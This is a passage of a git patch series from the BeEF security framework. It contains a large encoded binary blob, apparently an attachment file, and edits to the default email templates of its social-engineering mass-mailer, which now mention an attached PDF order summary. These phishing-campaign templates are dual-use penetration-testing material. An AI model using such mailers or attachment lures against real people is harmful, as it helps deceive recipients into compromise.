z_htDCxefvg^p!w`OopVFfG`(;suAQ{1Oo^%ErL4-SbPPW^>d$ulJjT(3Znz1-i7oP z0nt}n01(_Q%?Q5kXAb9oj*6Kl_&pY@03}su9u-du&P`ZQffESXFB}$&8ZYoLNnY}S zI^cV*umbP(M@QTiINgB99N0+^E6fYHS0LIqh#3Q0 zl`W|zEI#DM9_%f=b1>QsMPzY=*z zl3-M~J{?12MsLQ8U7Qq2Nx0&c>EN=PL(vl`#OwPb3^w~Kg5c`=A5u%uk2 z?EI`qD2ua9I!^H*lTTboaY@mm&!*5L_K|umdTxSH>=x)&_RFtU%N5(I>){QO6iv%Z zG7L3LGYm5f*kkY$V%=+=*qK;iuQLDq)<%`| zKy5?qnM9KGB?&w!=DUol?Hq6}^SkwT`B_E_ati~CC5xvy`m(5r;t7|miA+7#w_nd8 zN7XH1?oE#tH@!!^M+vxTxE;7SxT?4*tOIN~X*Ov;({|JLSqJOPv=Hi{w05=j>pwFl zrJjwdd?Bli;L5G2JT0c1;wxAyG!K?P}qC|8e0-9*PsH9R2`M03`;c2Fr)Q437@&1l8LO-red?#4xQ#sxylP zA@nTl9P|mE4N({K(cuFRT8_PwB2q<+Wb3%P!PHLTkuV{QdyVe$<8Ty~%SNR7zk? z;FL&8pKh3uWThmgX(0rxNO0%4cZg3l?N zB+3MD!zO%vRxwAhx&sBirHI z@?@*=#~Yen>JMw9w}Geag|~%IE}PD9E~{&YEms<;hMJ$3CM!2}D|SaO^DY}()lWLq z47Ba^QOskEW9pboYTBi$EX3!Ej|z_baAVT;+K)UMPcxSXR~9-qtbJy{qagcX`3Qmd zZ9YSH3YHau*8K*nTjjkI$9YFBou)o|J|d?Q7jYBfLE?pjJuyymJhKZNB^-(DJyG!k zKX&W}ZC^HTggr3I4i#APoA04GiMcMe2k(h~XCZ!CatrtRen|0>ecLdp6|R*#zd9e* zP{3~PA>*-e=sS~1Fit?npZ?}~9eJCYRy%AeJrOsKnUT(w?c#kYG!S$V5r!SYt?tOz zQuk{*v$DE!eZ()N>hndjed$X3)3a(ynQ0}LE{|8HSNm!3OVm7JYgV$}iMRP-{cr2` z!>_e3$vYL%9nfC;kGf9`>$fdlyU}l%c#sh=k7x899&evlc@MqTU#4J7Q9kpJx^upm zy%?SB&KFMKI&zdp%X(4VLcHH`^w5@vWydZ?1`g`Oy#pb@JRI})!D zpNM>jTyy_%-G4q3nKH8z)JgT)aF;YymhJ8G)NX3{v+vw;>Nu5OYQ3a`>v8_pdf)iq z*Nlt#@1o-H^|B8BTfdjwC!_1ZxWg0qd-f?;1HtVPPQy2NPou)8FDd-G9sck*57CSNm`6p2Po}8t;$z%;{ZG z#sp%JHaB*7m*4%Zfz$m@2^{DDQKzthqk)yJ>EFUYhkq4;Y9{s$=C(E<1}1ve|9tpS zAZB(}5G&WajgqU?{`Kv5GM;Wh>eToUChV?V&h6CRcO?oTa zy`=3doH}`>Z|Np!<|Vou;WaXW68!q9d)1*K6g&;rLmsx>N(XDApFA_unr3v`-*Wv{ zX^oXsdz3=#8J0Vb{6ugo(w9lrCq`f@J0mCh6S|@{hiufD^9z4k3JbO(kQFAXy78&Q zb3HNC;VzGR9>*rSsS#@uLSsdcrD)Vejb<=*1Kk@lSvP+Ky{u-V?L&n0!_3uRb3t;~aW>F5rE)3Obwq zEjwj@|B}QYYvB5i2$kzSoWGoT-@KYIgWl`=Tj~05w0{}?jrL#A{v&h!JNYh;WqsH0 zzSr`9(TksYxOoCqJAQMiw!2WYleUw}#vid}R>V8T%L(CfOOhQ13TVWmG7>|;o3nyI zaFm?XilO=fKn@Xtel+7smaAL{ccf@(M|_y}KCdR0ags>ROCVJHI45WP>hIFCFRhR3 zPdn{T3v`#-}S*Q@q|| z;g%_)BR1H?MGclIm96Aj<3B0-+#P=Bok`TmbU@Pm4gzTv73S=Cq*M%Wo(z8m%r;y< zW@&gKW9%^;f5vO&fA~1ub9rVGp#e?Yoecp`W1|5qD?V+~gE6MDVb2`e3yo$A*WEHHIA#he#-Qb4KbjNaAfaz(JUJactVJ^<#Th06eh`sD5O}Hm&QlH|ezeZu z!Zv+HGwldt@rhwE-5E{gyb{geA~2QfPo3Bq)!P}Ru-g;Kc;Fm=CL70(VHw;WeX`qY z=e)AXaN`+o!!#A!9*yIyr5RtvFm32h_2aDN8n+5(aT!P*=Vaj+ckD~O<($DXP1_l* z-O7`n4^a{>6Nd{Z6x9Pf`p>8jBE z1Z)%UZpCbq?p^_UHu^VGyGHoK0zFgwpD^1LyYYMrzn2PSD`{12zGs*DV^cSYc8>vU zRK8aDW8knaT$fl#z;vOMz>GrCg6W`WpftgrL+KN3Vs@?gLe==bA?D5w`pBL^pFj-x z8g%ja8u`|O5r`q_&w~9=7bbn=LNnd)`Tw|xM6|m96!&ET%lhWW0ygIh?MtEZ`DYp5 z6E<}=5#Iz-w$J|ak1NxOvb;bdLJ!lE#lq!~XoS*C#L)_yQkw5{<_w0#?%O;n9eKUVs53`WJ)zv^X7;rnsN_X=n5^cUe4 zAsP9ZjSZd)$^lqo(2A5y-`FXsHkbzbIfkzu#4DJBoyX)C2FcAVfei{lBH@ie$(}_? zo0V5%+jG!2@ej%g!)x7Z0E~#$(^WbVBzHU)7Dc~x+}i4VfhPrvP`jsV_`YME*SRo6S+H+-54j9tAYt zZgQ*$`NOB2R`CnH=?0y7<66-Y=c>Y{RGHjm%hxOv=516XKTnJ;Rbe_qd-E@KdeewtEz6VW>%3qfXqdP)D;4T z&jEj@oRyqz->E`xo3iC#O$&9-|n7Kq}6akqML7)ubYwTxF?fDmvRa zAy~*Rj06VAf7-$~ylj_txWZCkNn$R?>IlQ=GW-Kw%v8+>Ov5^0;tfsoRNl8w9AXZf z2+52JwfH7dN`5HzWEwRI4t7+G;c+Z>@HyOa6F9(~1AY9DiNE`-oEW3g2AFy{8Y!0`nuYLAk@f1FC!Oa=QU99f#MKp zlT!*sVobYBF>N^#$w(N%x!qiN_p$CK z%YNomso?R@S=)L7XE#({yz`=$8nzd1 zCwFhCcDih+_MOf4vL@vvoB~lgB?Y{Ap*0KhSVh7Dd3h#w{ucs6)*V{(w_HtoG}jtO z#IAR~e8i`$%+*EtOXjg7rL}FQEvMtdClBp`Jr7DtF!Mf5W)RzF-&gskN3$mr0Unz3 zLe==A$lvFz8iMx&n^(`>X<9Q0(XX=J2(p?i{6 z+s>72Ttu=%bf4>m#{DTjhiA`crxR?LSEt-S=8EOcCp*Wl_`&z&{UpMmx+-Fe#2lA0 zG6)eP9;@8*6n@iLKo5>)Ng<0CdqU`t_au5JcTwn^eR0!c7Y&~y{*}DWMAMxwB~_)K z2F+`;LyPv_@c)Yf{zrj{m%uSZQ>LktWbdr_=C%fbE&h`#FCt6Z0OR4b6Xis}1 zbzqhK@=c4JEba>?-Uu9Y_DvMWF3hq(Llj#cq6xoykY5V8g+c=$x}ZUgE!bzGBpzIE z7U^r<2#H>7nbny&UY@-=R31Yk#^oAmDKnxCenU%h`l$euzv6u>Vo!VU+T6USQy_W4 zaCCv{sjaqJphi!U+bp|iti}vsYkU3ny=JLWrEFhTsgej*8M3laa(7ypD_doU`b6b9 zOsGw z@o}GaN<-=iE+Irlt5-saUU)M{&%AtQA{nS#cTJbhMj(A%jr#T$)RIeETf`#jn1>I? z(=}~N8XLs8!{l7-3eB$;^tdJCn|PHg)xi6Bqv4P%DlDS(MZxEmm$haEM8y0&U|FFa zpti8OHbK9Geh1M8kp`Cr<%W9sasj>dVN1VD8)Oi45ab+u1H28^8S4U7=Y#c!Dp+eo z9V{J?DvT;GYdWu9uqYRS%y=G)d{8$g-5T5>g|g6zPwWq z-Mn$o=5$~|q32|TJ2B*34fqwMZRw-E>%|T3%tu0Fa9|}yHfZfmyG0RS#1ngm_bd-i z*bW96nlI+lY`@aV;acR7+*Jg6hkP*`E)Ux}3PzqfXeD(Fc>j4^k5}>3ozggjwVP<* zEB8*w#(PmA-s~ZrLG-!{xFQVhAUW>xHYQqzSc4qaVDKL!y&l%9(-d=z<*L?#6+@#K z;NdUHn)Xh*k+O|>p?XC)#SIsujd`|7#2P|6yCF{wxhxrSEV~1}V!ZlbLg$I+n{O)X9i9QKD^Fkf!1X$FM`RgkW7ObqCN%EjFjsEn>v_48jULa?x&-b3C3B2L z)uBd5jMZK%?b00-M?YmoV275!{39_i9qO0zI<#V;@qdW`49%m4B;s=GGzEBeLgYlN{=I z=WS;KeY@jyfxLf*c8P1Dka-i1h?PAm+|g;)xT4)cy14^$`SQf!k4k%We$u=%ay-(U zHHdmkNFtMU=$Q`N_If6<@6)s-fh*v?4uj{4TKz`Z9Qi_ZpcLmw;Nuvj-365q@by-= z0*&@o1KA6q!cb+JkML2EnkRbxq%%e&ocB;*?w zpv$E5S>^Q;i;#uVZ1tq#q_JXd`i)gm7p~yTYZp&Xr&*^b|BK68p6lik+7X(t*}T&2 z!*qOZqt4f7rz^KB=10I|Qk#s2#0GKZmC#G&i?pJsB_X0FTZw6N ziSm5TN_k2trNVb2pMmJZp;Bet$|FM9VTU0z!5@_kDh`>h5$rvl{hp;B==#(`8?B$4 z4?PSR2*)*1ROvi7=F{ysR=zjZOJ^=HIf(D<23Tuagezz&Vx%z9tI%h+l`(yj)7bq= zJ%n~`Ygbe2zSEwJOF+bBk;Vb&|7E`v8*8o<%0}O9z;xiC7OvL6<1fPPFkI1c_e5eV zu8B4=p<5{wCB--)eLvc_cjsKr-?b@=WJXddluQg59v(mS6)ZW30&K@i84a~fUd2PD z7qm#^8;+_uLK4dvw8rG#&-8r?bTo@1pO!jymrw60RPy2( zea0DL;xhpoRHQ#QEUO{YcB09ZGJ{l1@elR{`$rm;M*T0FxxPcV}j}jhW_Lj!`kHU^vzIc_HD2MZ+XPYRk~`3MfnH(uzH{ z@jZ+ry`Id?TW;YJhGr6I={D$Y0#foq0nW8mw=%EHghGTF0F9<$V3_=kFVacT!UJ`TfK|T3jKF&Z>NpF8!Xg zbU_Rk8eo^OgcnDDMQ;dcj!79OvV^h!(0nGHtip=iIZZt>EF~w)a_bo>Un z0S8b0;G!(?oL`T-04cpiIfMpz)ZT;zS*k5JO1;;q!`zQmD2TEns@?+8Z1ofQ0M2t= zedp~QqiU$2(@h6w35rYAo(_UB$eu=5Le(dO5=mEQl+dtPJwCr%+y99~7qX0~Eptrx zy!rIDeZ%#D(NTc>!>h|?{0}Z%HX#EXD9EE_lvbi7u35M@xeLKC6G7M@=tfccOm@=3X4)>pvrs$QM8WluLXGEj>6m=CZQjLu#9(4%y1+I=-eqY-@}!+ag+i`n(h@ z+&$4h_}MRJ^)TH3o;rvP+QTVF6CTOeBk2cA$}Awr#WrVKDuWH(93f65Se>V~RYF0Bx# zx40e(_Vb_IsbHU*bLF}IqU+GJ=&KXcslX&Zpn;^d;sg62k_ z|1gO7$YT2pv58ydYQY~x;y8xjDNlH1jkWL)38M-XPEjCJVz$4IZ3Y%$cOAwUw1mrF zBd@^DkdCj9pwiaEp|wmna@2CC>r^CAr4mg|vBH!?aIG-PvB5$hZn3m*?JhPg`xSOmlp)i@B--%Z6(-6t6Thi}X*`BP01} zT}fe1k+`TmrPl_JjMcMDgqGj&(+5qGesYPX8G-7T@Sw$PE8tD&iE zF}USCSC5Bc{ZTH@*=kX7)UPbK3nnjEukQ7MFRb1PFYe=^ys2UcFU9?qP$gj~vrkwI zZriP*L4q>}0)wIgDFwp`S(09RDcWKAI&7|pL2>hILd1r51ww)Ob`U#0=c>Ap!GtM@RBpK_K_1(W0;j0d%#~)O=zbX%URCMwmh< zDX41RvieLqnbI*5V1hwdzERJh$W*c>9%{#x~UeAAWjUq0fih33JuXU}E+?LhOPAJX&+3M7RUwj!ppu z?G``SxNyR`uK|_Fpl&d8MZ+mG?fE@QYFP-ei4<-*JbVkqxS&j+TBP+aVl!n&q(U#G zHA(MrH?|U&#UsdsHn=$pFL7gXin0AAiUu$|v18jAMBFcaFL3Kp373TzWim+0(@yB5 zFZe1xHG#wedc;b4q|6s;?#)JB&#{6p_T@xk4`aeotS>=D{BDlxL7wk{=(~3 z7x(F$C&6}wSE}(^weULvoXX=liy5wLH)t-cfs=EE#%SyqnGjJ5lNfhLPZMcN?qL~5 zRJ4RWELhm^$NZ8S+ZZZT2y-#9U|MBedYKXt@t23vx7q1vyX(0*3NVFurldiR*upb= zP<{v=J__XIU?gsaKqd$fy7wQ^D7bJbHM~KCqOevj9#Ir;lYMZW6gn;T^EU!Y+!4Cn z+~z)#;9kEx1}A&G%d%%TG4RYLuf^W1_av>%)rxFVWvInia=tr=i(;O_Di&mT_NSW*tsKDLB#h%yp(;@h}-p6bWs6x zz$hjIQcz75Kclht|{*!%ecePZKTP;b15xSTv!gT~JHg zDdnfsgQc|;UNFPu7#)52ILu%0LgitN%kfyY?34K%Fd!`sIbh?@Bo*%~P=K4Y&)x?wCyk>g*&-*I6h_Uj^i6YFl-KQAXwQ_MD| z5}cv8uvl*e$5G^%%XMG>C;NF)^_Yhp%%<{fSknN8|RcVqzv* zoe25h==xP|)Z1*a3sr=1yVYevKe zpW_s~$9@V0eNZv-c6538SUJ5Ei!*KB!)4fEx}RoJT6)2-8OvB`GXS<2P|?w`l2K1E z5tWwC^W=ZHxj}7C4x_E@5Lu#sly{7I=0=!Z;AA0Wc8o*f;dG0GCF~?qPCag&6mqCr z;bc?AoPUSuE-e(2^=x;9V}N}%jRIeuf}sQN3J_AmPK(J?e%Rhm2iJ;nrJh zfIV+Dr1vDD<2XD*S%ZQaaV#UJ=WFu8WxHoPnptyxo?gV~`rCK&A46#>ZVk*>%W;#m z0wrBO(M)=7Vd)d{fU)Cb`}GM`u1d?amh9^63>j-9sE(AlgW?R?y1RsUmJg}lpB~`Y z^A}oAdIvMvJ4Vt~O=K0Fq^Kks4<+E=-JM*&7ZD%cE+W1TaMV{LHQUlFEyEyQN2TUf zd1Z35V&JhD-jGP4294`|HgDtZ6&`0!@ySb$Uo~cI9cyz5+_g0@b{_YY3+UIQU-HW% z{@Rgvg~{BsT=5gHJ49aIOVgt#0RzBpqZ+}$xapM^Ws9jkGSn8Y(w3gzD`_-iuhQ)9 z!x$ZiJR-jAc(hem(U>rY%0gZ4D0Pye;TekpH+IlOc`@_ziu113BZUT#24_V#vkdp&j zhuuGN0XQ<*4V7RK(I!MiQ-?=RBin2G>})u#)*;hUVfCbbuIY4eC$wtx{CEv+c-*4S zGN(~EYzC|SOti!3FxzL<;eOFaGjsc1v+TGNn;w5_e>c-waI!qi@GMDvEq|-ex=tPc z!B?qp9cy8krlDOo)YpR`C0OUv2VE6sk#A%dth)#j6_VPyUPN8a9xnnWtbsNeTs}j$ ztz$);I@z=19`qN6!%)=DswXu+JpGc(p6s*yROwSr4*Hn}iN@m(o0;d|V=Zd%$M ziaTm{0SyOcp}#em+bK6(HjDK)P@8l!z4%Gmd>}266x=#2<_f3D_mu|C4GrDVm-8`+#+Gs*Pn+!B3}RSLVEi<6!M zBGo4ctAiW2@521nm`l_5noTCnAVa}??$BD#MP(+umh2p!BcnRC8P^0tX8c8j^ZOo} z*F~H3)bTiNOSIjcw%+Lu9`<*vwC#yE7pndIjEc8iy$Ge8TIyh&gBqKe@Qh2+4+kmx z_cCpTUu#Q9C$q&SQZH2V*53nZqoy<&A!=t!l?pkEAze=xYR74K~k=nruGa5^!@CyB@JDf>E-0@1jaxPg$qn zW;nv`Y+`#(SdBB{l5?9hScZn`c+HaC#|&^{st~y>^o28I z&5W?Mwnyp%+Hn{s8Dl+lYXb$;Qv5ZOEG^8VI}F7d{ScXoSIH&c@+WO?eN4iamuXnE zIa*9s1iMXIwrpxEE5|Xve=3mriqrmnl@jsgCuiXFA{~wAO@$8mY(}5nJn0AAY7fY_xhUHhR2EzVBRk#NA^xtWz}fL)(jjnIZdi2v8f} zs9KP!fvL47cKtSD8&?R)0Oqa(#SGYIWVOJL8%xFt(HFt`W`1@NxxF3S7eAs*u1kDK zK+l*caD)=ck*k%<$w-eDoMEv=A12%IY7BW>J${zc9pA2XY#^qfO63U0-GY^%ijtX4 zbt7GET<7HOEm6q8Rtw8rDM_ackj_l2{Z4l^GEi(Lp%Gu(b8PvRmy^F7`{oh8YuEh^ z(#^70(8E&SP`X4)yTDUi5ofH%{klJ6hf4myr(y&1XZYfw(Rmn!OEvi~Se;&T%r`tuUzNXvL~eWRXqwp8BA#6X#`aD(&N+2W2Xx zY(9YHj?!M5LTR&b$y_g9ZMW?OcvakcyGo>Bkrb&URyrVVZ6O)P{NQ0@ee**6rmPv~z2gGT#+GMM5p>Mbz|C-*r8h z`poY~h7ewn;-1HpT;PAdU*e)(izf=Rjp$uCpenv1#cG^xnNFmB{PM^Kp9~SZ7--db z3hKd|DBqrSohp>;uwH69;KDF+TuM}PQ|H~0!PN z-Ib`c1Rw_gdT(QoH(0Dl{fe7R%V9yvkV(cHW=Rd zC(&~3Zq3qC8y@%Zp7(9{pOMXoa~yA%5*A!;Qoe7@AgxT!i2^;b>PNk`eJy8(uvRK- zubJ>3sAT_zr230L1Oi7af5An+QN6#|qQ6NhAj0&QVE%vO|HSxY)I=5k;{Ry)t;`Mn zNih9QV8Jl_OCVq2ZwT<;MJ@g-1jqzLvi?Ct{e}QpfY8%#z>kp*2mvy)0ih^5d`1Q! z?8i)x&kBSAnE}5cKUN?p2=rkD0ILrCT^4}huk%Fzqn-xv)_(zr|M!9#n$e@Cy>v)I z_fIf1vqDuTd(gt)8K!KDqo^M8rC- zG2zD8_)1*<+ZlfuD*wWMt-uWh!X=!<%q0R0`$ZX_~;s*P+g(!_IEglqF z@io%OdUjFdvY-S6j;nr=ydR4`TY4c?$uxoUcWL%;AtCE&lW>9%7)bRHA@vBbm3nCo zyhK6r8@FgYwF8p4(-Z9Q3OWM3*!JM}J{3-@irkYtPZ!D>zJf`Oru6)mQ2RaHzrzX$ z()|@_{|Jcx47I;Q=AR+-PiXJIN7$d_9*jB-Jv}`g5W-_)!>4CtVZf)SV`2eTp!oj> z_h9}jxCaDIfl>K4xc9qW#J|BkdPY{@P~|{-1&P8`uSsuz!Jj zYz#nb_5aE3m9xXzW6j5(j~|%53dfL)Ch!nNl5ixLvnAko<}7_ywLKXEUA5s2AxPM< zsRH*VmL|{Zqu+XotBcD6MO)%`niONLgVldhE!;=qPyMVTF(D^za#+KZz3h?2HYgz> z4jp~pK{jk7H{-vaKGuHT?sopXzUfBveRbiqS2U0mDbzH88QxO(rrL>5meKy6nR{Ky zN+76Nw|8%qIe&FU{^Q}ZW$Vrc{9(fn7y^O&p^L0I%Uqdk4F)hjd#pu1RpuI#Rj$K^ zbx^}~94C0ghr8!2%_ftJjIoyk9OG*z1WQcmQP|GF8oldzs>F_TeKuekx1)A+QPc+#gr@axgfiKl<*{h4S+8aApVl z{dA6jVQ$ndllvhtW>jWZV}_Vl36>}i4_*0Hr39Kl6X61JUn7UeFsY6XTZEJLEn~r3 z`HHcLT%BS}>8j?7TZ7)P(%5ncg*v?f729$Mv--3FRf)M!ayfY)&(z^p*%#>kb9wiS z?agoQ5!+4_ZzTOZxesvtm9j6C{gvO`Q?}(%-h;MdQ95}qnffPX-J`a_QOGDZWG-<- zoa8yhE`3pWcrRa3WWKe9Zrg-7$*l?4u=J;+I3b;ApAF*9!B`V@fplqtw1VJ*IU{ee zd7**6!Se=+TVq^-*MY5lqyw==>!S4v1j+c|jIbpHf`cxHbl%;`Z8k~ee!cJ2;hwqv z`0M$~^9ge9{0%uvDiw6y1}$s#ypF@F({6FW$70pa!oShtL!BYO!$lD;o^lP)}O zrH9+vVV-Y8Dt6U-`bKy98i#-i7@xz;lAYC73_4a{DlKmf4NAyT;*!H z;0Y7}J$oIB|1$iF#fjEwQDZW$NTgY(E_=o67Y5ux zS`A7yNofrO>mpby4-&H!4D{h4iEu1{fF?T8l zyeS!z_IL=uHXV@sX9iLV{g#N;0wC2`84B$|o+G83{v zi8pgIC`7u_dJeP5jjOg;MYA2)Y7vUaLhxu;}%VOJ?vMOPtqn)DbC;`BJJsDk|c zJl`2m3X0RjJJHsBu|vK?&_fRs{uPpN366Z+V)dgq_B^xu+vXLWw)g&A$(UZTX2=Pm zul=I3u(xBq8B&Y;M*DA|+0Cl_q^$F)72ki&7tZ^|S1eHy$=JMt_ok?`UwA~o3&X_g zw*e)LRi*BPiVPonj@1VY_8?I#{~#t9%y?vFd-l|YqEMNu;f*A=E&Jw!9D>lhz5)j} z3;tDWgcGm`Nc^lrY@BcQejrB6oZ+`LNlNHH@?0=0`XIk$`ct#;>*P}7it-A5^xg2% zZ|_M4>fu@w!16WLA%W4W_1a6T&XbnThHi-%+I$m+dNA1>-tERfD3@`*jlqZCK#pDJ zQ<-DZTaS+BZl+slM-{F5=+*a8W(=nw2t6_~>_W`=^YRBB0yxde0tupC=xtI~0zdCU zi_lYtbo(9~%vG%Dajj*Lb$E^mj%9;B`jJ>8hUUb?%%fnM-IgFYR`1-AK{6t+F-Tt_ z=76C7musWkjU@`%oggSk7Z<%(;VFzZU#Qx*b8*|6w;b3q@H_7eV)h^(Xwl$s11hZS zLNFL^7o8-_Tl{s*2P(W}bW&b+pZi?El$!-L17VkUdO8vc*sJP&{SQrAwoM6k(%4Tm zeSFYLGECrB+-Vb4VfNs9J%{~O8O*9Dxe!OW%w8D%-PW7}BOgITKpms{1zB;)QpK@& zm0Is9OCh+$AQfAGX?)#hhiHpc>@c>XMkd{Wj*(P1Uxo<02Aj)Wzcx4lNzQu*lSTen zhML1=@)e!niGX}M5kY54ZQu$&CAu&-!-jP-?|T!;0&N{x%&?=kl?-W&FQeV(V~C8; zF|)2eZ0(4%j#OCY{E>Z zy>5duh@Le1u7}Wur{~qD5%WxRqJ_9TJlq(o0Iqx`TsQ`ZiSmai59X7E>qhw$Oc?Z~ zX^CDM8DPGKgQ1x&n=lI@FSk#?Rz)V@&!<6)ECXdESci*wB`8C^zBlc&gY(ze`NeK?*blw3;Td?;Qd^;`GWmJwsxB-_5xM5^pNvMy= zGQYIYwEBr7b2Ov}_%K$Xarm?#PWd(_%|7h45nV< z+^2zLA4`^Yn|~TY&?Z922^)GpvPtSBxs3Pe(}k} z4_$rlvu+CVwsg;A%=f(s(jH=nfi5V%zGNF4>zg{$O2>Z6&3%U(XzQD2!~u~MT`4`1 z6R*lZli-=vC%t6rT*n+f5IcvMa*grKMLi`*WGug0i3$qmdC&;8tt{E}h;Zx2X7`Q|q@vI}pv}HlK#W4d~V#OvmpD@Q3<^c2Gmze5fg?7abWUpU&0W znH{k!hF>~5magH9R*@hC%23?vy$Wpp%5cB(q3Odj5%EIMxO&S-qT{i_yefUL5 z?%fc$B@jL{!_V7m{IO$&JbZM7o>xB4gfPF`1xzB0RT#g${{vkMap-#W^ET12U>Z5r z@+`u~44OLpY(dOP5vdZ-0$OZAc1tBpSc9h3MN-xB7>{Mkfy zQ&}<|k|4VwO<2}=7zpxd9U}H*-YgR9aTaeWZ@^Yk(5TJVWF}^DrM_!xyd$I(!+5fG z(fmNk-AFPTei|-m1xvQUb~M*6Y$_ANJQOk}T?Sj+?$U+ck-!g8nBo^Ypb(g9@DoKB zQ7nN=@Z`PLB~+Z&MPR$U`0}KLt9t9~0ug290iZug95exNA1m1r#0gRh%iA$PlTu?H zst6~+6ph%u9KGhn7QoK6R5(BV2!@+w^mX-jGmr#`7s`RFGdFQS{j7;Ps{{`Lx$m(5 zjxMo7O3W}&%%mvgSW$?!(vjS(-_uSkS|bxL6D6x1#!Bk52^|%*J!}ST%R?+ZUatU7 zLKchJ``toB>y0gC&VOX~tJOvQ|eZt(Dg7D_|(^e&!&$~hA9Y-eO06q2~Y zY;&R4vCl>RkI1GyWu8fBpt>m5r$oNGXVw!u0Fh zhBb1jNkrmSUOZJ(RmGIQyu5tPsu@@{;iPkmr?Uxiaj~8bp2qw~x(GRd!8F@rIEL4P zUVqd-Ai93}%AB8zxpnMA5@dXP4fW&>6OGkRvyrR%;H|fYyX*vhdDW>wH*?d`#f!p3 z#gnbV@CPTy*4CO1&P_aH_g`Q9OE@}j%jaDB^%I%N z->!z8bZ)8Ll?nSfF48A^xl^WUk&Z3Q^z_;*gDu#JpH9>^vr{mi2_2^iT8$fV;8#`4 zGjH)`LRQjpb!j3?LI&4QobjvXlmV7Lt4Gah60z@VsrzG6QbXrL5C~^JXl!bXfTAZ@ zT4%IHR-wuLR8V#e&p6hG-oWhWPa3ybGIp8(d9Cx3@!I`QH8Yy6AGoQwvJC5&%@L=R z07M^8V4)BjPkG*^eo-_o7Rar%;qGORQ!NOot;p9FE9aL>^tbAtX6Khec3{&UN98~z zWj;h$BzACb!T#E%F)h~xo<#_GNsF4;bv!+AvkGl|ymKgpqKYrB8NIK0JH=wRG@}8t zB6QV+b}b)xs*{c+>Rl77mMA@^GiLn+6H#koUUnK)RP1QNI~vrjmQY-wRC^>aujep7 zZ4FRAv0YYuCP+M>(>pPbo6oYP}66xToD*14@;tKlK)Baeq^RPJiDwYek6 zx^C^4YN0^$9GZLMrGb(<%+u*A;ftpAA%eYMieGYVcD}?K!0QQnySz^(^}um{1UH4L zf^&LOLjLsgJ#rq&&3yu6=WI=nd9s1`xWdIvgC4- z^XbF|B^iwpEAsl}`0S{KYSA)XD=87t6()1pCX)GiOmCi`>7s84zVMjSjSS31#Y|NJ zf&Jp$T94LJQWa|5{4cohr6;IPQeHHg)E~DV!9oYx*){F*ZQAHce|E9Wi8q)|fWJa! zC7`J!X>spY>7*QofgV+_7P}_74)uBFQl&;$gW@2=5#wMHTlSL(2)+Ia9nT+7_?A6c zO5XBPST=z!@PjQ-24f_Vj;#Zx_G+etG?D;?;R{PyH)7!#vQGwBDZ73BV1T5dgmQky zAd5YXLn=Q(du@#+bei<5UG0hXvT7V6#&drdLaGbZs7!Eb`H}%m^@cG{73E3Ud`j=0 zSEqC^8}`T`J9DNXK_d1iRX6S$NmP`$s|7JdrPOza7S#HJA2GzRasc&jvAu}l>Wmbt z?+}IFZSPJZVXcak*>m#RA_%-wfXDrsSjlw|dh)oExsytkwyQ2Y?xy?o-q+{FYg{wh zjy9-s*DSNa5Hu8=_0p$$o+ka%wS3Q)t&I`mA7;P+?R-BiK)`+-AdsBT z-W3*MbS6b&{10R;-I-l~8z!5%bSk({IrE z*3;Z&V&~;n>SdrhRL#@{Lp$fwIgQgp;S_*tTJdh<^Z4+xdUhFrdcg!5Q3IKS)CBpB zq{zI%ONy>Ay?XL|&+%a$foSx{MQG~ET{2p8+x%Xl);8*Vei(uNVGXSjaSk(@V&aeU zrpx+(mV#;TiuA<792!H{2LjAoqlaJ3!fgIm-<*WWnAOj!tKfg>`l~^#e9IQ|CD@E! zc66*Pw|6Qq6RK?vsM=x0qJ^)F)I z!$r{GmgSbI$reEHbblfJ(E6x)amwmSRLd?aUqGcl8WF^f@RN>;Qc#JLkh1B4k!90; zw)$ecpv|Y>A$_ER*Mn)rff^eigKFj;8{Qut-v4TYl6+F|2JaL@+L_6rJen?XPM*#r z3ic**bQr}^MABVF{Q0?as|+LeZC!SU_3O@F^6`edFlcV?IK-I`4AxYV`ABi85^#st z%aH_r8VljzR{Qofutli?aWx?F#y&DYLZy9tNAinuJmyWlhm3b+NMlKS+Lm;@BCKov z#-2S|iyNlBp(2HH_-a;N!lKS7E0+FZof~^%#c@fP)J6>ZiMpa@9IUFSaoz*p6D(lBGry6LtNBjf=hJzp;?j-J9`+k5!xcrY^ zU!;oA*VC$V!Btg{(k!&0)6*!6_B2Jzwyx)7W?Svfu5;7n$wEG_QmJp z4q?&2?ZT^9h(mOs75N_!D4WKIsJcGv-Jw?EdBVBvXgh5z1~IKxw+e36 zMW9Ogo!0r@t|vUfSqyItUm_9!7J9mWZ`c2o86uZ5(YLj-vof;BSGKY>z^B0% zw9$HiO|`@)djz_QqB~rHX&)LjbE_8#w3# ztFiy1v%oEU0bmh!pxgy8FZItY{eN5oH8uo)SC0njTl{06U&_kh_w{eRi+@~87`iwC z`vcVF_*Z_6kMEl#``^}o=E(leAvoI_8o>Z_U(7Ic|Na28UjSgv%LxCUHbw^E>3{rx z{EBb+FB=`*@9fzBw$THV8Nj^E@6Z46qx&r{@P`cm01m+)HfGj8{eaH{=3f5v1781O zV*oJx?(84W`%gb$1#X~x$De-xrOj;gbbt1Zj*b5JwEeGl0D}YY=ktIzmOtA996i?m zxR;6TKc5F+X8m)VfuZ+%`v3QP0l#xef7;l7rzQWFA8=fLYmfh7V+Bf|{Apui`p0`OkS{{Jp;Z^kbl7`m@bIKcEcD|85H~CjVoO zfHsEzF)sGDx0$z~G3Wyf4FLK~47&O(y1*c&qu195aKrq+UH+LXwzCKRFa2Y2F)}dHF~g9M J2+0V;{2!VC5QYE% literal 0 HcmV?d00001 diff --git a/extensions/social_engineering/mass_mailer/templates/default/mail.html b/extensions/social_engineering/mass_mailer/templates/default/mail.html index 195f9a116..a99c840cb 100644 --- a/extensions/social_engineering/mass_mailer/templates/default/mail.html +++ b/extensions/social_engineering/mass_mailer/templates/default/mail.html @@ -10,6 +10,8 @@ You can check the status of your hook at the following link:
__linktext__

+For convenience, we also attached a resume of your order as PDF.
+
Regards,
The BeEF team
diff --git a/extensions/social_engineering/mass_mailer/templates/default/mail.plain b/extensions/social_engineering/mass_mailer/templates/default/mail.plain index 4b57cf16d..f8796f0b5 100644 --- a/extensions/social_engineering/mass_mailer/templates/default/mail.plain +++ b/extensions/social_engineering/mass_mailer/templates/default/mail.plain @@ -4,5 +4,7 @@ We would like to inform you that your BeEF order has been successful. You can check the status of your hook at the following link: __link__ +For convenience, we also attached a resume of your order as PDF. + Regards, The BeEF team \ No newline at end of file From 20d2e172329064ccd9d45f988a4a8395fbc747a7 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 29 Aug 2012 17:50:14 +0100 Subject: [PATCH 114/225] Social Eng. extension: added support for SMTP servers that 